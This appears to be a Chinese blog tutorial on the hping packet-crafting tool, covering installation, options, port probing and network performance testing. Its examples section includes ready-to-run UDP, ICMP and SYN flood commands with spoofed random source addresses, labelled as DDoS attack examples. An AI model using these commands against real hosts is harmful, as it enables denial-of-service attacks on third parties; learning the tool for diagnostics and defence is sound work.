戳下方名片 ,關註並 星標 !
回復「 1024 」獲取 2TB 學習資源!
👉 體系化學習:
— 特色專欄 —
/ /
/ /
/ /
/ /
/ /
大家好,我是民工哥!
今天給大家介紹一個超牛逼的命令列工具:hping!
hping 簡介
hping 是一個命令列的網路工具(與ping命令類似,但功能更強大),它可以生成和發送自訂的TCP/IP封包,對指定的主機或埠進行探測。它支持TCP,UDP,ICMP 和 RAW-IP 協定。
hping的功能強大,可以用來測試防火墻、路由器等網路裝置的效能,或者用來進行網路攻擊。
hping 命令可在 Linux,FreeBSD,NetBSD,OpenBSD,Solaris,MacOs X,Windows等眾多作業系統下執行。
hping 功能簡介
防火墻測試
實用的埠掃描
網路檢測,可以用不同的協定、服務型別(TOS)、IP分片
手工探測MTU(最大傳輸單元)路徑
先進的路由跟蹤,支持所有的協定
遠端作業系統探測
遠端的執行時間探測
TCP/IP堆疊審計
hping 的一些主要功能和用法:
對特定目標埠發起TCP探測 :使用「-p」選項來指定目標埠,以及「-S」選項來設定TCP模式(如SYN包)。
偽造來源IP :hping允許使用者偽造來源IP地址,這可以用來模擬DDoS攻擊或其他型別的網路攻擊。使用「-a」選項可以偽造IP地址。
請註意 ,hping的功能強大,但也可能被用於非法或惡意的用途。因此,在使用hping時,請確保遵守當地的法律法規,並尊重他人的網路安全和私密。
hping 安裝
Centos
安裝依賴項
yum install -y gcc libpcap libpcap-devel tcl tcl-devel
下載安裝
wget https://github.com/antirez/hping/archive/master.zip
unzip master.zip
cd hping-master
./configure
make
make strip
make install
如果make的過程中出現下面的錯誤:
解決方法
[root@CentOS7-1 hping-master]# ln -sf /usr/include/pcap-bpf.h /usr/include/net/bpf.h
常用的參數
-p #埠號
-S #發送TCP的SYN包
-A #發送TCP的ACK包
-a #偽造源IP
–flood #盡可能快的發送,慎用
hping 使用場景
hping 的使用場景主要集中在網路診斷、安全測試以及可能的開發偵錯等方面。具體來說:
網路診斷 :hping可以用來探測網路裝置的效能,包括檢測網路中的開放埠、掃描網路裝置、測試防火墻規則等。它可以使用任何IP報文,包括ICMP、TCP、UDP等,並客製封包的各個部份,以實作對目標地址的詳細探測。
安全測試 :hping也常用於網路安全測試,例如模擬DDOS攻擊等。透過偽造來源IP地址,發送大量的封包,hping可以幫助測試網路裝置的防禦能力和安全效能。
開發偵錯 :在開發過程中,hping可以用來模擬網路環境中的各種情況,幫助開發者偵錯和最佳化網路套用。
hping 使用
hping 的使用相對復雜,因為它具有很多選項和功能,可以用來執行各種網路任務,包括測試、掃描以及潛在的攻擊。以下是一些基本的使用方法和範例:
基本使用
hping 可以發送自訂的TCP/IP封包到指定的主機或埠。其基本語法如下:
hping [目標地址] [選項]
如果你想發送TCP封包到特定埠,可以使用
-S(SYN)
選項和
-p
選項來指定埠:
hping 目標IP -S -p 埠號
設定封包數量
使用
-c
選項來設定要發送的封包數量:
hping 目標IP -c 10
設定封包大小
使用
-d
選項來設定每個封包的大小(以字節為單位):
hping 目標IP -d 128
範例
UDP DDoS攻擊範例
hping3 -c 10000 -d 120 --udp -w 64 -p 80 --flood --rand-source 目標IP
這個命令將發送10000個UDP封包到目標IP的80埠,每個封包的大小為120字節,視窗大小為64字節,並使用洪水攻擊模式(
--flood
)以及隨機源地址(
--rand-source
)。
ICMP DDoS攻擊範例
hping3 -c 10000 -d 120 --icmp -w 64 -p 80 --flood --rand-source 目標IP
這個命令與上面的UDP攻擊類似,但使用的是ICMP協定。
SYN DDoS攻擊範例
hping3 -c 10000 -d 120 -S -w 64 -p 80 --flood --rand-source 目標IP
這個命令將執行SYN DDoS攻擊,這是一種常見的網路攻擊方式。
修改TTL值
在某些情況下,你可能需要修改封包的TTL(Time To Live)值。雖然具體的命令取決於你想要達到的效果,但通常你需要透過hping的適當選項來實作。TTL值通常在IP封包的頭部設定,用來防止封包在網路中無限迴圈。
洪水攻擊
使用
--flood
選項可以以盡可能快的速度發送封包,不顯示回復。這可以用於執行洪水攻擊,消耗目標主機的資源。
檢測網路裝置的效能
如何使用 hping 來檢測網路裝置的效能,下面一起來探討一下這個問題。以下是使用 hping 來檢測網路裝置效能的一些基本步驟和範例:
確定目標
首先,確定你想要檢測的網路裝置或主機的IP地址。
基本效能測試
使用hping發送基本的TCP或UDP封包,觀察響應時間和丟包率。例如,使用TCP模式發送封包:
hping 目標IP -S -c 10
在這裏,
-S
表示使用TCP SYN模式,
-c 10
表示發送10個封包。
測量延遲
為了測量網路裝置或主機之間的延遲,你可以使用hping的
--latency
選項,這可以幫助你獲得每個封包的往返時間(RTT)。
hping 目標IP --latency -c 10
調整封包大小
透過調整封包的大小,你可以觀察網路裝置在不同負載下的效能。使用
-d
選項來設定數據大小:
hping 目標IP -d 1024 -c 10
這將發送大小為1024字節的封包。
使用traceroute模式
hping還提供了traceroute模式,可以幫助你檢視封包在網路中的路徑。使用
--traceroute
選項來啟用這個模式:
hping 目標IP --traceroute
客製封包
hping允許你客製封包的各個部份,包括TCP標誌、埠號等。這使得你可以更精確地模擬特定的網路流量模式,並觀察網路裝置的響應。
記錄和分析結果
使用hping時,註意記錄返回的數據,包括丟包率、延遲、TTL值等。這些數據可以幫助你分析網路裝置的效能。
結語
總的來說,hping 是一個功能強大且靈活的網路工具,但需要在合法和道德的框架內使用。
公眾號讀者專屬技術群
構建高品質的技術交流社群,歡迎從事後端開發、運維技術進群( 備註崗位,已在技術交流群的請勿重復添加微信好友 )。主要以技術交流、內推、行業探討為主,請文明發言。 廣告人士勿入,切勿輕信私聊,防止被騙。
掃碼加我好友,拉你進群
PS:因為公眾號平台更改了推播規則,如果不想錯過內容,記得讀完點一下 「 在看 」 ,加個 「 星標 」 ,這樣每次新文章推播才會第一時間出現在你的訂閱列表裏。 點 「 在看 」 支持我們吧!